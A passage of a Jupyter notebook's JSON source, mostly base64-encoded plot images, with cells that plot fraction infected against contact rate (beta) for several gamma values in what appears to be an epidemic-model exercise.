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\n", "text/plain": [ "<Figure size 432x288 with 1 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" } ], "source": [ "for gamma in gamma_array:\n", " label = 'gamma = ' + str(gamma)\n", " plot(frame[gamma], label=label)\n", " \n", "decorate(xlabel='Contact rate (beta)',\n", " ylabel='Fraction infected',\n", " title='',\n", " loc='upper left')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "We can also plot one line for each value of `beta`, although there are a lot of them." ] }, { "cell_type": "code", "execution_count": 28, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Saving figure to file figs/chap13-fig03.pdf\n" ] }, { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAAe4AAAEYCAYAAACa3BVSAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1+/AAAADh0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uMy4xLjAsIGh0dHA6Ly9tYXRwbG90bGliLm9yZy+17YcXAAAgAElEQVR4nOzdd1gU99YH8O/OdmBpS1lkKUoZBBbsNSr2ErGbctUUNfFqmqgJUWJFDYnEaIqJJjHF62siMTEqdooxGo1gBWRE6gJSpbOz/f1jgQCCggILOJ/n4bkyzu4cMHfPzK+cw9Lr9WAwGAwGg9E1EMYOgMFgMBgMRssxiZvBYDAYjC6ESdwMBoPBYHQhTOJmMBgMBqML4Rg7gLZGkiQfwEAA9wBojRwOg8FgtAc2AAcAVyiKUho7GEbH6naJG4akfd7YQTAYDEYHGAHgL2MHwehY3TFx3wOA/fv3QyKRGDsWBoPBaHN5eXmYN28eUPN5x3i6dMfErQUAiUQCqVRq7FgYDAajPbV6OvDq1asTORzOer1eLwGzzqkz0gL4S6PRvNa/f39VUyd0x8TNYDAYjCZcvXp1Ip/P/8LV1VUlFApLCIJgKnB1MjqdjpWZmflMaWnpUgA7mzqHudtiMBiMpwSHw1nv6uqqMjU1VTBJu3MiCELfo0ePSjab/Upz5xjliZskyUEAjlEUZdfM3zsD+A7AEAAFAN6iKOp4B4bIYDAY3Y5er5cIhcISY8fBeDgej6fW6/XWzf19hz5xkyTJIklyMYDTAHgPOfVnADcBiAG8BuBnkiR7dUCIDAaD0Z0RzJN258disYCH5OeOHirfCGApgM3NnUCSpCeAAQDWURSloigqGsARAIs6JkQGg8FgMDqvjk7cX1MU1R9A3EPO8QaQRVFUVb1jyQBk7RoZg8FgMLqNnJwcrkqlYhk7jvbQoYmboqjcFpxmBqC60bFqACZtH9G/tFodkjPuIz23DOVVKjDtThkMBsN40tPTeSRJ9i8pKWG39rV5eXmcKVOm+FZVVXVYjjt8+LDl5MmTvVty7uXLl00GDRrk/7jX6ozbwaoACBsdMwFQ2Z4Xjbp0FxePRaJQa45srTU4HA7ElkLYWAghthTAxkIIGwsBxJZCiC0M31uY8UEQ3fKGjsFgMLoshUJB0DTdIUlbpVKxvvjiC/u9e/f2kEql9MPO1el0+PHHH20+++yzJyoy0hkTdxIAZ5IkhRRFKWqOedUcbzde6iS4mxkqB9J6LtLUtkittMfdUgkSU